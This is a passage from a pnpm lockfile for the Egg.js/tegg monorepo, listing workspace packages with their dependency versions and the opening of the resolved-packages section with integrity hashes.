link:../core-decorator\n      '@eggjs/lifecycle':\n        specifier: workspace:*\n        version: link:../lifecycle\n      '@eggjs/metadata':\n        specifier: workspace:*\n        version: link:../metadata\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../common-util\n      '@eggjs/tegg-loader':\n        specifier: workspace:*\n        version: link:../loader\n      '@eggjs/tegg-runtime':\n        specifier: workspace:*\n        version: link:../runtime\n      globby:\n        specifier: 'catalog:'\n        version: 11.1.0\n    devDependencies:\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/transaction-decorator:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n    devDependencies:\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/types:\n    dependencies:\n      '@modelcontextprotocol/sdk':\n        specifier: ^1.23.0\n        version: 1.26.0(@cfworker/json-schema@4.1.1)(zod@4.3.6)\n    devDependencies:\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/vitest:\n    dependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../../plugins/mock\n    devDependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../../packages/egg\n      tsx:\n        specifier: 'catalog:'\n        version: 4.20.6\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n      vitest:\n        specifier: 'catalog:'\n        version: 4.0.15(@types/node@24.10.2)(@vitest/ui@4.0.15)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2)\n\n  tegg/plugin/ajv:\n    dependencies:\n      '@eggjs/ajv-decorator':\n        specifier: workspace:*\n        version: link:../../core/ajv-decorator\n      '@eggjs/ajv-formats':\n        specifier: ^3.0.1\n        version: 3.0.1\n      '@eggjs/ajv-keywords':\n        specifier: ^5.1.0\n        version: 5.1.1\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../../core/core-decorator\n      '@eggjs/lifecycle':\n        specifier: workspace:*\n        version: link:../../core/lifecycle\n      ajv:\n        specifier: 'catalog:'\n        version: 8.17.1\n    devDependencies:\n      '@eggjs/controller-plugin':\n        specifier: workspace:*\n        version: link:../controller\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../../plugins/mock\n      '@eggjs/tegg':\n        specifier: workspace:*\n        version: link:../../core/tegg\n      '@eggjs/tegg-config':\n        specifier: workspace:*\n        version: link:../config\n      '@eggjs/tegg-plugin':\n        specifier: workspace:*\n        version: link:../tegg\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/plugin/aop:\n    dependencies:\n      '@eggjs/aop-decorator':\n        specifier: workspace:*\n        version: link:../../core/aop-decorator\n      '@eggjs/aop-runtime':\n        specifier: workspace:*\n        version: link:../../core/aop-runtime\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../../core/core-decorator\n      '@eggjs/lifecycle':\n        specifier: workspace:*\n        version: link:../../core/lifecycle\n      '@eggjs/metadata':\n        specifier: workspace:*\n        version: link:../../core/metadata\n      '@eggjs/module-common':\n        specifier: workspace:*\n        version: link:../common\n      '@eggjs/tegg-runtime':\n        specifier: workspace:*\n        version: link:../../core/runtime\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../../plugins/mock\n      '@eggjs/tegg':\n        specifier: workspace:*\n        version: link:../../core/tegg\n      '@eggjs/tegg-config':\n        specifier: workspace:*\n        version: link:../config\n      '@eggjs/tegg-plugin':\n        specifier: workspace:*\n        version: link:../tegg\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/plugin/common:\n    devDependencies:\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/plugin/config:\n    dependencies:\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../../core/common-util\n      '@eggjs/utils':\n        specifier: workspace:*\n        version: link:../../../packages/utils\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../../plugins/mock\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/plugin/controller:\n    dependencies:\n      '@eggjs/agent-runtime':\n        specifier: workspace:*\n        version: link:../../core/agent-runtime\n      '@eggjs/controller-decorator':\n        specifier: workspace:*\n        version: link:../../core/controller-decorator\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../../core/core-decorator\n      '@eggjs/lifecycle':\n        specifier: workspace:*\n        version: link:../../core/lifecycle\n      '@eggjs/metadata':\n        specifier: workspace:*\n        version: link:../../core/metadata\n      '@eggjs/module-common':\n        specifier: workspace:*\n        version: link:../common\n      '@eggjs/router':\n        specifier: workspace:*\n        version: link:../../../packages/router\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../../core/common-util\n      '@eggjs/tegg-loader':\n        specifier: workspace:*\n        version: link:../../core/loader\n      '@eggjs/tegg-runtime':\n        specifier: workspace:*\n        version: link:../../core/runtime\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../../core/types\n      '@modelcontextprotocol/sdk':\n        specifier: ^1.23.0\n        version: 1.26.0(@cfworker/json-schema@4.1.1)(zod@4.3.6)\n      await-event:\n        specifier: 'catalog:'\n        version: 2.1.0\n      content-type:\n        specifier: 'catalog:'\n        version: 1.0.5\n      egg-errors:\n        specifier: 'catalog:'\n        version: 2.3.2\n      globby:\n        specifier: 'catalog:'\n        version: 11.1.0\n      koa-compose:\n        specifier: 'catalog:'\n        version: 4.1.0\n      path-to-regexp:\n        specifier: catalog:path-to-regexp1\n        version: 1.9.0\n      raw-body:\n        specifier: ^2.5.2\n        version: 2.5.2\n      sdk-base:\n        specifier: 'catalog:'\n        version: 5.0.1\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../../plugins/mock\n      '@eggjs/module-test-util':\n        specifier: workspace:*\n        version: link:../../core/test-util\n      '@eggjs/tegg':\n        specifier: workspace:*\n        version: link:../../core/tegg\n      '@eggjs/tegg-config':\n        specifier: workspace:*\n        version: link:../config\n      '@eggjs/tegg-plugin':\n        specifier: workspace:*\n        version: link:../tegg\n      '@eggjs/tracer':\n        specifier: workspace:*\n        version: link:../../../plugins/tracer\n      '@types/koa-compose':\n        specifier: 'catalog:'\n        version: 3.2.8\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/plugin/dal:\n    dependencies:\n      '@eggjs/aop-decorator':\n        specifier: workspace:*\n        version: link:../../core/aop-decorator\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../../core/core-decorator\n      '@eggjs/dal-decorator':\n        specifier: workspace:*\n        version: link:../../core/dal-decorator\n      '@eggjs/dal-runtime':\n        specifier: workspace:*\n        version: link:../../core/dal-runtime\n      '@eggjs/lifecycle':\n        specifier: workspace:*\n        version: link:../../core/lifecycle\n      '@eggjs/metadata':\n        specifier: workspace:*\n        version: link:../../core/metadata\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../../core/common-util\n      '@eggjs/tegg-loader':\n        specifier: workspace:*\n        version: link:../../core/loader\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../../core/types\n      '@eggjs/transaction-decorator':\n        specifier: workspace:*\n        version: link:../../core/transaction-decorator\n    devDependencies:\n      '@eggjs/aop-plugin':\n        specifier: workspace:*\n        version: link:../aop\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../../plugins/mock\n      '@eggjs/tegg':\n        specifier: workspace:*\n        version: link:../../core/tegg\n      '@eggjs/tegg-config':\n        specifier: workspace:*\n        version: link:../config\n      '@eggjs/tegg-plugin':\n        specifier: workspace:*\n        version: link:../tegg\n      '@eggjs/tracer':\n        specifier: workspace:*\n        version: link:../../../plugins/tracer\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../../packages/egg\n      globby:\n        specifier: 'catalog:'\n        version: 11.1.0\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/plugin/eventbus:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../../core/core-decorator\n      '@eggjs/eventbus-decorator':\n        specifier: workspace:*\n        version: link:../../core/eventbus-decorator\n      '@eggjs/eventbus-runtime':\n        specifier: workspace:*\n        version: link:../../core/eventbus-runtime\n      '@eggjs/lifecycle':\n        specifier: workspace:*\n        version: link:../../core/lifecycle\n      '@eggjs/metadata':\n        specifier: workspace:*\n        version: link:../../core/metadata\n      '@eggjs/module-common':\n        specifier: workspace:*\n        version: link:../common\n      '@eggjs/tegg-runtime':\n        specifier: workspace:*\n        version: link:../../core/runtime\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../../plugins/mock\n      '@eggjs/tegg':\n        specifier: workspace:*\n        version: link:../../core/tegg\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../../core/common-util\n      '@eggjs/tegg-config':\n        specifier: workspace:*\n        version: link:../config\n      '@eggjs/tegg-plugin':\n        specifier: workspace:*\n        version: link:../tegg\n      '@eggjs/tracer':\n        specifier: workspace:*\n        version: link:../../../plugins/tracer\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/plugin/langchain:\n    dependencies:\n      '@eggjs/langchain-decorator':\n        specifier: workspace:*\n        version: link:../../core/langchain-decorator\n      '@eggjs/mcp-client':\n        specifier: workspace:*\n        version: link:../../core/mcp-client\n      '@eggjs/metadata':\n        specifier: workspace:*\n        version: link:../../core/metadata\n      '@eggjs/module-common':\n        specifier: workspace:*\n        version: link:../common\n      '@eggjs/tegg':\n        specifier: workspace:*\n        version: link:../../core/tegg\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../../core/common-util\n      '@eggjs/tegg-runtime':\n        specifier: workspace:*\n        version: link:../../core/runtime\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../../core/types\n      '@langchain/core':\n        specifier: ^1.1.1\n        version: 1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6))\n      '@langchain/langgraph':\n        specifier: ^1.0.2\n        version: 1.1.5(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6)))(zod-to-json-schema@3.25.1(zod@4.3.6))(zod@4.3.6)\n      '@langchain/mcp-adapters':\n        specifier: ^1.0.0\n        version: 1.1.3(@cfworker/json-schema@4.1.1)(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6)))(@langchain/langgraph@1.1.5(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6)))(zod-to-json-schema@3.25.1(zod@4.3.6))(zod@4.3.6))\n      '@langchain/openai':\n        specifier: ^1.0.0\n        version: 1.2.8(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6)))(ws@8.19.0)\n      langchain:\n        specifier: ^1.1.2\n        version: 1.2.25(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6)))(openai@6.22.0(ws@8.19.0)(zod@4.3.6))(zod-to-json-schema@3.25.1(zod@4.3.6))\n      urllib:\n        specifier: 'catalog:'\n        version: 4.8.2\n      zod:\n        specifier: ^4.0.0\n        version: 4.3.6\n    devDependencies:\n      '@eggjs/controller-plugin':\n        specifier: workspace:*\n        version: link:../controller\n      '@eggjs/mcp-client-plugin':\n        specifier: workspace:*\n        version: link:../mcp-client\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../../plugins/mock\n      '@eggjs/module-test-util':\n        specifier: workspace:*\n        version: link:../../core/test-util\n      '@eggjs/router':\n        specifier: workspace:*\n        version: link:../../../packages/router\n      '@eggjs/tegg-config':\n        specifier: workspace:*\n        version: link:../config\n      '@eggjs/tegg-plugin':\n        specifier: workspace:*\n        version: link:../tegg\n      '@eggjs/tracer':\n        specifier: workspace:*\n        version: link:../../../plugins/tracer\n      '@modelcontextprotocol/sdk':\n        specifier: ^1.23.0\n        version: 1.26.0(@cfworker/json-schema@4.1.1)(zod@4.3.6)\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/plugin/mcp-client:\n    dependencies:\n      '@eggjs/mcp-client':\n        specifier: workspace:*\n        version: link:../../core/mcp-client\n      '@eggjs/tegg':\n        specifier: workspace:*\n        version: link:../../core/tegg\n      '@eggjs/tegg-plugin':\n        specifier: workspace:*\n        version: link:../tegg\n      '@eggjs/tegg-runtime':\n        specifier: workspace:*\n        version: link:../../core/runtime\n      '@modelcontextprotocol/sdk':\n        specifier: ^1.23.0\n        version: 1.26.0(@cfworker/json-schema@4.1.1)(zod@3.25.76)\n      egg:\n        specifier: workspace:*\n        version: link:../../../packages/egg\n      urllib:\n        specifier: 'catalog:'\n        version: 4.8.2\n    devDependencies:\n      '@eggjs/controller-plugin':\n        specifier: workspace:*\n        version: link:../controller\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../../plugins/mock\n      '@eggjs/tegg-config':\n        specifier: workspace:*\n        version: link:../config\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n      zod:\n        specifier: 'catalog:'\n        version: 3.25.76\n\n  tegg/plugin/mcp-proxy:\n    dependencies:\n      '@eggjs/controller-plugin':\n        specifier: workspace:*\n        version: link:../controller\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../../core/types\n      '@modelcontextprotocol/sdk':\n        specifier: ^1.23.0\n        version: 1.26.0(@cfworker/json-schema@4.1.1)(zod@4.3.6)\n      await-event:\n        specifier: 'catalog:'\n        version: 2.1.0\n      cluster-client:\n        specifier: ^3.7.0\n        version: 3.7.0\n      content-type:\n        specifier: ^1.0.5\n        version: 1.0.5\n      eventsource-parser:\n        specifier: ^3.0.1\n        version: 3.0.6\n      koa-compose:\n        specifier: 'catalog:'\n        version: 4.1.0\n      raw-body:\n        specifier: ^2.5.2\n        version: 2.5.2\n      sdk-base:\n        specifier: 'catalog:'\n        version: 5.0.1\n    devDependencies:\n      '@eggjs/aop-runtime':\n        specifier: workspace:*\n        version: link:../../core/aop-runtime\n      '@eggjs/metadata':\n        specifier: workspace:*\n        version: link:../../core/metadata\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../../plugins/mock\n      '@eggjs/tegg':\n        specifier: workspace:*\n        version: link:../../core/tegg\n      '@eggjs/tegg-config':\n        specifier: workspace:*\n        version: link:../config\n      '@eggjs/tegg-plugin':\n        specifier: workspace:*\n        version: link:../tegg\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../../packages/egg\n      eventsource:\n        specifier: ^3.0.5\n        version: 3.0.7\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/plugin/orm:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../../core/core-decorator\n      '@eggjs/lifecycle':\n        specifier: workspace:*\n        version: link:../../core/lifecycle\n      '@eggjs/metadata':\n        specifier: workspace:*\n        version: link:../../core/metadata\n      '@eggjs/module-common':\n        specifier: workspace:*\n        version: link:../common\n      '@eggjs/orm-decorator':\n        specifier: workspace:*\n        version: link:../../core/orm-decorator\n      '@eggjs/tegg-runtime':\n        specifier: workspace:*\n        version: link:../../core/runtime\n      leoric:\n        specifier: 'catalog:'\n        version: 2.13.8(mysql2@3.15.2)\n      sdk-base:\n        specifier: 'catalog:'\n        version: 5.0.1\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../../plugins/mock\n      '@eggjs/module-test-util':\n        specifier: workspace:*\n        version: link:../../core/test-util\n      '@eggjs/tegg':\n        specifier: workspace:*\n        version: link:../../core/tegg\n      '@eggjs/tegg-config':\n        specifier: workspace:*\n        version: link:../config\n      '@eggjs/tegg-plugin':\n        specifier: workspace:*\n        version: link:../tegg\n      '@eggjs/tracer':\n        specifier: workspace:*\n        version: link:../../../plugins/tracer\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../../packages/egg\n      mysql2:\n        specifier: 'catalog:'\n        version: 3.15.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/plugin/schedule:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../../core/core-decorator\n      '@eggjs/lifecycle':\n        specifier: workspace:*\n        version: link:../../core/lifecycle\n      '@eggjs/metadata':\n        specifier: workspace:*\n        version: link:../../core/metadata\n      '@eggjs/module-common':\n        specifier: workspace:*\n        version: link:../common\n      '@eggjs/schedule-decorator':\n        specifier: workspace:*\n        version: link:../../core/schedule-decorator\n      '@eggjs/tegg-loader':\n        specifier: workspace:*\n        version: link:../../core/loader\n      '@eggjs/tegg-runtime':\n        specifier: workspace:*\n        version: link:../../core/runtime\n      '@eggjs/utils':\n        specifier: workspace:*\n        version: link:../../../packages/utils\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../../plugins/mock\n      '@eggjs/module-test-util':\n        specifier: workspace:*\n        version: link:../../core/test-util\n      '@eggjs/tegg':\n        specifier: workspace:*\n        version: link:../../core/tegg\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../../core/common-util\n      '@eggjs/tegg-config':\n        specifier: workspace:*\n        version: link:../config\n      '@eggjs/tegg-plugin':\n        specifier: workspace:*\n        version: link:../tegg\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/plugin/tegg:\n    dependencies:\n      '@eggjs/background-task':\n        specifier: workspace:*\n        version: link:../../core/background-task\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../../core/core-decorator\n      '@eggjs/dynamic-inject-runtime':\n        specifier: workspace:*\n        version: link:../../core/dynamic-inject-runtime\n      '@eggjs/lifecycle':\n        specifier: workspace:*\n        version: link:../../core/lifecycle\n      '@eggjs/metadata':\n        specifier: workspace:*\n        version: link:../../core/metadata\n      '@eggjs/module-common':\n        specifier: workspace:*\n        version: link:../common\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../../core/common-util\n      '@eggjs/tegg-loader':\n        specifier: workspace:*\n        version: link:../../core/loader\n      '@eggjs/tegg-runtime':\n        specifier: workspace:*\n        version: link:../../core/runtime\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../../core/types\n      await-first:\n        specifier: 'catalog:'\n        version: 1.0.0\n      extend2:\n        specifier: 'catalog:'\n        version: 4.0.0\n      sdk-base:\n        specifier: 'catalog:'\n        version: 5.0.1\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../../plugins/mock\n      '@eggjs/tegg':\n        specifier: workspace:*\n        version: link:../../core/tegg\n      '@eggjs/tegg-config':\n        specifier: workspace:*\n        version: link:../config\n      '@eggjs/tracer':\n        specifier: workspace:*\n        version: link:../../../plugins/tracer\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../../packages/egg\n      egg-logger:\n        specifier: 'catalog:'\n        version: 3.6.1\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/standalone/standalone:\n    dependencies:\n      '@eggjs/aop-runtime':\n        specifier: workspace:*\n        version: link:../../core/aop-runtime\n      '@eggjs/dal-plugin':\n        specifier: workspace:*\n        version: link:../../plugin/dal\n      '@eggjs/lifecycle':\n        specifier: workspace:*\n        version: link:../../core/lifecycle\n      '@eggjs/metadata':\n        specifier: workspace:*\n        version: link:../../core/metadata\n      '@eggjs/tegg':\n        specifier: workspace:*\n        version: link:../../core/tegg\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../../core/common-util\n      '@eggjs/tegg-loader':\n        specifier: workspace:*\n        version: link:../../core/loader\n      '@eggjs/tegg-runtime':\n        specifier: workspace:*\n        version: link:../../core/runtime\n    devDependencies:\n      '@eggjs/ajv-plugin':\n        specifier: workspace:*\n        version: link:../../plugin/ajv\n      '@eggjs/bin':\n        specifier: workspace:*\n        version: link:../../../tools/egg-bin\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../../core/core-decorator\n      '@eggjs/dal-decorator':\n        specifier: workspace:*\n        version: link:../../core/dal-decorator\n      '@eggjs/utils':\n        specifier: workspace:*\n        version: link:../../../packages/utils\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      mm:\n        specifier: 'catalog:'\n        version: 4.0.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tools/create-egg:\n    dependencies:\n      '@clack/prompts':\n        specifier: 'catalog:'\n        version: 0.11.0\n      cross-spawn:\n        specifier: 'catalog:'\n        version: 7.0.6\n      mri:\n        specifier: 'catalog:'\n        version: 1.2.0\n      picocolors:\n        specifier: 'catalog:'\n        version: 1.1.1\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../plugins/mock\n      '@eggjs/tracer':\n        specifier: workspace:*\n        version: link:../../plugins/tracer\n      '@types/cross-spawn':\n        specifier: 'catalog:'\n        version: 6.0.6\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      execa:\n        specifier: 'catalog:'\n        version: 9.6.0\n\n  tools/egg-bin:\n    dependencies:\n      '@eggjs/tegg-vitest':\n        specifier: workspace:*\n        version: link:../../tegg/core/vitest\n      '@eggjs/utils':\n        specifier: workspace:*\n        version: link:../../packages/utils\n      '@oclif/core':\n        specifier: 'catalog:'\n        version: 4.5.6\n      '@vitest/coverage-v8':\n        specifier: 'catalog:'\n        version: 4.0.15(vitest@4.0.15)\n      ci-parallel-vars:\n        specifier: 'catalog:'\n        version: 1.0.1\n      detect-port:\n        specifier: 'catalog:'\n        version: 2.1.0\n      globby:\n        specifier: 'catalog:'\n        version: 11.1.0\n      jest-changed-files:\n        specifier: 'catalog:'\n        version: 30.2.0\n      ts-node:\n        specifier: 'catalog:'\n        version: 10.9.2(@swc/core@1.15.3)(@types/node@24.10.2)(typescript@5.9.3)\n      tsconfig-paths:\n        specifier: 'catalog:'\n        version: 4.2.0\n      utility:\n        specifier: 'catalog:'\n        version: 2.5.0\n      vitest:\n        specifier: 'catalog:'\n        version: 4.0.15(@types/node@24.10.2)(@vitest/ui@4.0.15)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2)\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../plugins/mock\n      '@eggjs/supertest':\n        specifier: workspace:*\n        version: link:../../packages/supertest\n      '@eggjs/tsconfig':\n        specifier: workspace:*\n        version: link:../../packages/tsconfig\n      '@swc-node/register':\n        specifier: 'catalog:'\n        version: 1.11.1(@swc/core@1.15.3)(@swc/types@0.1.25)(typescript@5.9.3)\n      '@swc/core':\n        specifier: 'catalog:'\n        version: 1.15.3\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      assert-file:\n        specifier: 'catalog:'\n        version: 1.0.0\n      coffee:\n        specifier: 'catalog:'\n        version: 5.5.1\n      cpy:\n        specifier: 'catalog:'\n        version: 12.0.1\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      esbuild:\n        specifier: 'catalog:'\n        version: 0.27.0\n      esbuild-register:\n        specifier: 'catalog:'\n        version: 3.6.0(esbuild@0.27.0)\n      npminstall:\n        specifier: 'catalog:'\n        version: 7.12.0\n      rimraf:\n        specifier: 'catalog:'\n        version: 6.1.2\n      runscript:\n        specifier: 'catalog:'\n        version: 2.0.1\n      sdk-base:\n        specifier: 'catalog:'\n        version: 5.0.1\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tools/scripts:\n    dependencies:\n      '@eggjs/utils':\n        specifier: workspace:*\n        version: link:../../packages/utils\n      '@oclif/core':\n        specifier: 'catalog:'\n        version: 4.5.6\n      node-homedir:\n        specifier: 'catalog:'\n        version: 2.0.0\n      runscript:\n        specifier: 'catalog:'\n        version: 2.0.1\n      source-map-support:\n        specifier: 'catalog:'\n        version: 0.5.21\n      utility:\n        specifier: 'catalog:'\n        version: 2.5.0\n    devDependencies:\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      coffee:\n        specifier: 'catalog:'\n        version: 5.5.1\n      detect-port:\n        specifier: 'catalog:'\n        version: 2.1.0\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      mm:\n        specifier: 'catalog:'\n        version: 4.0.2\n      tsdown:\n        specifier: 'catalog:'\n        version: 0.18.2(@typescript/native-preview@7.0.0-dev.20260117.1)(oxc-resolver@11.10.0)(publint@0.3.16)(typescript@5.9.3)(unplugin-unused@0.5.4)\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n      urllib:\n        specifier: 'catalog:'\n        version: 4.8.2\n      vitest:\n        specifier: 'catalog:'\n        version: 4.0.15(@types/node@24.10.2)(@vitest/ui@4.0.15)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2)\n\npackages:\n\n  '@babel/generator@7.28.5':\n    resolution: {integrity: sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ==}\n    engines: {node: '>=6.9.0'}\n\n  '@babel/helper-string-parser@7.27.1':\n    resolution: {integrity: sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==}\n    engines: {node: '>=6.9.0'}\n\n  '@babel/helper-validator-identifier@7.28.5':\n    resolution: {integrity: sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==}\n    engines: {node: '>=6.9.0'}\n\n  '@babel/parser@7.28.5':\n    resolution: {integrity: sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ==}\n    engines: {node: '>=6.0.0'}\n    hasBin: true\n\n  '@babel/types@7.28.5':\n    resolution: {integrity: sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA==}\n    engines: {node: '>=6.9.0'}\n\n  '@bcoe/v8-coverage@1.0.2':\n    resolution: {integrity: sha512-6zABk/ECA/QYSCQ1NGiVwwbQerUCZ+TQbp64Q3AgmfNvurHH0j8TtXa1qbShXA6qqkpAj4V5W8pP6mLe1mcMqA==}\n    engines: {node: '>=18'}\n\n  '@cfworker/json-schema@4.1.1':\n    resolution: {integrity: sha512-gAmrUZSGtKc3AiBL71iNWxDsyUC5uMaKKGdvzYsBoTW/xi42JQHl7eKV2OYzCUqvc+D2RCcf7EXY2iCyFIk6og==}\n\n  '@clack/core@0.5.0':\n    resolution: {integrity: sha512-p3y0FIOwaYRUPRcMO7+dlmLh8PSRcrjuTndsiA0WAFbWES0mLZlrjVoBRZ9DzkPFJZG6KGkJmoEAY0ZcVWTkow==}\n\n  '@clack/prompts@0.11.0':\n    resolution: {integrity: sha512-pMN5FcrEw9hUkZA4f+zLlzivQSeQf5dRGJjSUbvVYDLvpKCdQx5OaknvKzgbtXOizhP+SJJJjqEbOe55uKKfAw==}\n\n  '@cnpmjs/muk-prop@1.1.1':\n    resolution: {integrity: sha512-ZZqkz6pZKQZbO1JusG/HUZ7xNRtf86XevYNG+O3vUVNOlsxrNT0O9A1eVcJbN36PFxjhKUY+WMmoYtKJhHrpVA==}\n    engines: {node: '>= 18.19.0'}\n\n  '@cspotcode/source-map-support@0.8.1':\n    resolution: {integrity: 